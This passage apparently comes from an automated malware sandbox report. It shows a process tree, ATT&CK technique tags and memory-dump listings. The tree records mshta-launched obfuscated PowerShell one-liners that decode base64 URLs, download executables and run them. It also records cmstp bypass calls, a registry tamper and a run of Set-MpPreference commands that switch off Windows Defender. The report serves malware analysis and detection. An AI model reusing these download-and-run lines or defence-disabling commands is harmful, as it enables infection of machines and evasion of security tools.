        C:\Windows\SysWOW64\reg.exe
        
        reg delete hkcu\Environment /v windir /f
        10⤵
        Modifies registry key
        
        PID:1320
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Public\kNhjQtso.bat" "
        9⤵
        
        PID:5384
        
        C:\Program Files (x86)\internet explorer\ieinstal.exe
        
        "C:\Program Files (x86)\internet explorer\ieinstal.exe"
        8⤵
        
        PID:5140
        
        C:\Users\Admin\AppData\Local\Temp\0X6NfiXLW1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\0X6NfiXLW1.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:4724
        
        C:\Users\Admin\AppData\Local\Temp\0X6NfiXLW1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\0X6NfiXLW1.exe"
        8⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:4836
        
        \??\c:\windows\SysWOW64\cmstp.exe
        
        "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\joazwkiz.inf
        9⤵
        
        PID:4728
        
        C:\Users\Admin\AppData\Local\Temp\Yk4BLKNa1Z.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Yk4BLKNa1Z.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:4684
        
        C:\Users\Admin\AppData\Local\Temp\Yk4BLKNa1Z.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Yk4BLKNa1Z.exe"
        8⤵
        Executes dropped EXE
        Windows security modification
        
        PID:5036
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" Get-MpPreference -verbose
        9⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4144
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\pnc.exe"
        7⤵
        
        PID:4980
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 10 /NOBREAK
        8⤵
        Delays execution with timeout.exe
        
        PID:4812
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\797B.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2116
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2192
- - C:\Windows\SysWOW64\timeout.exe
    timeout 1
    3⤵
    - Delays execution with timeout.exe
    PID:2976
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\797B.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:416
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4088
    - - C:\Users\Public\ldz.exe
        
        "C:\Users\Public\ldz.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5100
      - C:\Users\Admin\AppData\Local\Temp\axcjgfhwvvas.exe
        
        "C:\Users\Admin\AppData\Local\Temp\axcjgfhwvvas.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5740
        
        C:\Users\Admin\AppData\Local\Temp\oscjgfhwvvas.exe
        
        "C:\Users\Admin\AppData\Local\Temp\oscjgfhwvvas.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5968
        
        C:\Users\Admin\AppData\Local\Temp\oscjgfhwvvas.exe
        
        "{path}"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:5152
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /pid 5152 & erase C:\Users\Admin\AppData\Local\Temp\oscjgfhwvvas.exe & RD /S /Q C:\\ProgramData\\248482891706359\\* & exit
        9⤵
        
        PID:3276
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /pid 5152
        10⤵
        Kills process with taskkill
        
        PID:6032
        
        C:\Users\Admin\AppData\Local\Temp\axcjgfhwvvas.exe
        
        "{path}"
        7⤵
        Executes dropped EXE
        
        PID:4600
      - C:\Users\Public\ldz.exe
        
        "{path}"
        6⤵
        Executes dropped EXE
        
        PID:5752
      - C:\Users\Public\ldz.exe
        
        "{path}"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops desktop.ini file(s)
        
        PID:5780
        
        C:\Users\Admin\AppData\Local\Temp\HXkNYAi4c4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HXkNYAi4c4.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1292
        
        C:\Users\Admin\AppData\Local\Temp\HXkNYAi4c4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HXkNYAi4c4.exe"
        8⤵
        Executes dropped EXE
        
        PID:3928
        
        C:\Users\Admin\AppData\Local\Temp\v15Xka8Ssx.exe
        
        "C:\Users\Admin\AppData\Local\Temp\v15Xka8Ssx.exe"
        7⤵
        Executes dropped EXE
        
        PID:4404
        
        C:\Program Files (x86)\internet explorer\ieinstal.exe
        
        "C:\Program Files (x86)\internet explorer\ieinstal.exe"
        8⤵
        
        PID:4304
        
        C:\Users\Admin\AppData\Local\Temp\jkgBQhmV6k.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jkgBQhmV6k.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:6000
        
        C:\Users\Admin\AppData\Local\Temp\jkgBQhmV6k.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jkgBQhmV6k.exe"
        8⤵
        Executes dropped EXE
        
        PID:5172
        
        C:\Users\Admin\AppData\Local\Temp\jkgBQhmV6k.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jkgBQhmV6k.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:3880
        
        \??\c:\windows\SysWOW64\cmstp.exe
        
        "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\xxs1lihx.inf
        9⤵
        
        PID:4368
        
        C:\Users\Admin\AppData\Local\Temp\AswoNvyLvJ.exe
        
        "C:\Users\Admin\AppData\Local\Temp\AswoNvyLvJ.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4784
        
        C:\Users\Admin\AppData\Local\Temp\AswoNvyLvJ.exe
        
        "C:\Users\Admin\AppData\Local\Temp\AswoNvyLvJ.exe"
        8⤵
        Executes dropped EXE
        Windows security modification
        
        PID:2640
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" Get-MpPreference -verbose
        9⤵
        
        PID:4256
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\ldz.exe"
        7⤵
        
        PID:4656
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 10 /NOBREAK
        8⤵
        Delays execution with timeout.exe
        
        PID:2732
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\797B.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3780
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1268
- - C:\Windows\SysWOW64\timeout.exe
    timeout 2
    3⤵
    - Delays execution with timeout.exe
    PID:3768
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\797B.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4392
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4480
    - - C:\Users\Public\adv.exe
        
        "C:\Users\Public\adv.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:2076
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\797B.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4596
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4704

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
PID:4648
- C:\Windows\SysWOW64\cmd.exe
  cmd /c start C:\Windows\temp\s4drbjpj.exe
  2⤵
  PID:5096
- - C:\Windows\temp\s4drbjpj.exe
    C:\Windows\temp\s4drbjpj.exe
    3⤵
    - Executes dropped EXE
    PID:696
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" Get-MpPreference -verbose
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:852
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2156
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1768
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4448
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:612
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4512
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4456
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4708
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4656
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4248
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4784
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3916
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /IM cmstp.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2788
- C:\Windows\SysWOW64\cmd.exe
  cmd /c start C:\Windows\temp\tmnj3xnh.exe
  2⤵
  PID:4756
- - C:\Windows\temp\tmnj3xnh.exe
    C:\Windows\temp\tmnj3xnh.exe
    3⤵
    - Executes dropped EXE
    PID:4432
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" Get-MpPreference -verbose
      4⤵
      PID:5192
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
      4⤵
      PID:5456
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
      4⤵
      PID:4244
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
      4⤵
      PID:5228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
      4⤵
      PID:5044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
      4⤵
      PID:3836
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
      4⤵
      PID:3352
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
      4⤵
      PID:6060
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
      4⤵
      PID:5048
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
      4⤵
      PID:4528
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
      4⤵
      PID:2088
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
      4⤵
      PID:5052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      PID:800
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /IM cmstp.exe /F
  2⤵
  - Kills process with taskkill
  PID:5176

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/612-300-0x00007FFB56000000-0x00007FFB569EC000-memory.dmp

Filesize
9.9MB

Download
memory/696-268-0x00007FFB56000000-0x00007FFB569EC000-memory.dmp

Filesize
9.9MB

Download
memory/696-269-0x0000000000D10000-0x0000000000D11000-memory.dmp

Filesize
4KB

Download
memory/800-847-0x00007FFB55B90000-0x00007FFB5657C000-memory.dmp

Filesize
9.9MB

Download
memory/852-283-0x000001D5F4950000-0x000001D5F4951000-memory.dmp

Filesize
4KB

Download
memory/852-274-0x000001D5F23B0000-0x000001D5F23B1000-memory.dmp

Filesize
4KB

Download
memory/852-273-0x00007FFB56000000-0x00007FFB569EC000-memory.dmp

Filesize
9.9MB

Download
memory/1268-30-0x0000000070010000-0x00000000706FE000-memory.dmp

Filesize
6.9MB

Download
memory/1292-613-0x0000000070010000-0x00000000706FE000-memory.dmp

Filesize
6.9MB

Download
memory/1768-296-0x00007FFB56000000-0x00007FFB569EC000-memory.dmp

Filesize
9.9MB

Download
memory/2088-842-0x00007FFB55B90000-0x00007FFB5657C000-memory.dmp

Filesize
9.9MB

Download
memory/2140-369-0x00000000049B0000-0x0000000004A02000-memory.dmp

Filesize
328KB

Download
memory/2140-287-0x00000000005A0000-0x00000000005B0000-memory.dmp

Filesize
64KB

Download
memory/2140-700-0x0000000010530000-0x000000001054B000-memory.dmp

Filesize
108KB

Download
memory/2140-687-0x0000000050480000-0x000000005049A000-memory.dmp

Filesize
104KB

Download
memory/2156-292-0x00007FFB56000000-0x00007FFB569EC000-memory.dmp

Filesize
9.9MB

Download
memory/2192-21-0x0000000004700000-0x0000000004701000-memory.dmp

Filesize
4KB

Download
memory/2192-42-0x00000000079F0000-0x00000000079F1000-memory.dmp

Filesize
4KB

Download
memory/2192-36-0x0000000007150000-0x0000000007151000-memory.dmp

Filesize
4KB

Download
memory/2192-38-0x0000000007980000-0x0000000007981000-memory.dmp

Filesize
4KB

Download
memory/2192-18-0x0000000070010000-0x00000000706FE000-memory.dmp

Filesize
6.9MB

Download
memory/2640-750-0x0000000070010000-0x00000000706FE000-memory.dmp

Filesize
6.9MB

Download
memory/3352-831-0x00007FFB55B90000-0x00007FFB5657C000-memory.dmp

Filesize
9.9MB

Download
memory/3716-59-0x0000000008330000-0x0000000008331000-memory.dmp

Filesize
4KB

Download
memory/3716-19-0x0000000070010000-0x00000000706FE000-memory.dmp

Filesize
6.9MB

Download
memory/3716-97-0x000000000A5A0000-0x000000000A5A1000-memory.dmp

Filesize
4KB

Download
memory/3716-96-0x0000000009210000-0x0000000009211000-memory.dmp

Filesize
4KB

Download
memory/3716-51-0x00000000073D0000-0x00000000073D1000-memory.dmp

Filesize
4KB

Download
memory/3716-24-0x0000000007530000-0x0000000007531000-memory.dmp

Filesize
4KB

Download
memory/3716-95-0x00000000095C0000-0x00000000095C1000-memory.dmp

Filesize
4KB

Download
memory/3716-32-0x00000000070C0000-0x00000000070C1000-memory.dmp

Filesize
4KB

Download
memory/3716-77-0x0000000009A20000-0x0000000009A21000-memory.dmp

Filesize
4KB

Download
memory/3716-80-0x0000000008410000-0x0000000008411000-memory.dmp

Filesize
4KB

Download
memory/3716-54-0x00000000082E0000-0x00000000082E1000-memory.dmp

Filesize
4KB

Download
memory/3836-827-0x00007FFB55B90000-0x00007FFB5657C000-memory.dmp

Filesize
9.9MB

Download
memory/3848-295-0x00007FFB56000000-0x00007FFB569EC000-memory.dmp

Filesize
9.9MB

Download
memory/3880-738-0x0000000070010000-0x00000000706FE000-memory.dmp

Filesize
6.9MB

Download
memory/3916-325-0x00007FFB56000000-0x00007FFB569EC000-memory.dmp

Filesize
9.9MB

Download
memory/3928-722-0x0000000070010000-0x00000000706FE000-memory.dmp

Filesize
6.9MB

Download
memory/4088-27-0x0000000070010000-0x00000000706FE000-memory.dmp

Filesize
6.9MB

Download
memory/4144-307-0x0000000007310000-0x0000000007311000-memory.dmp

Filesize
4KB

Download
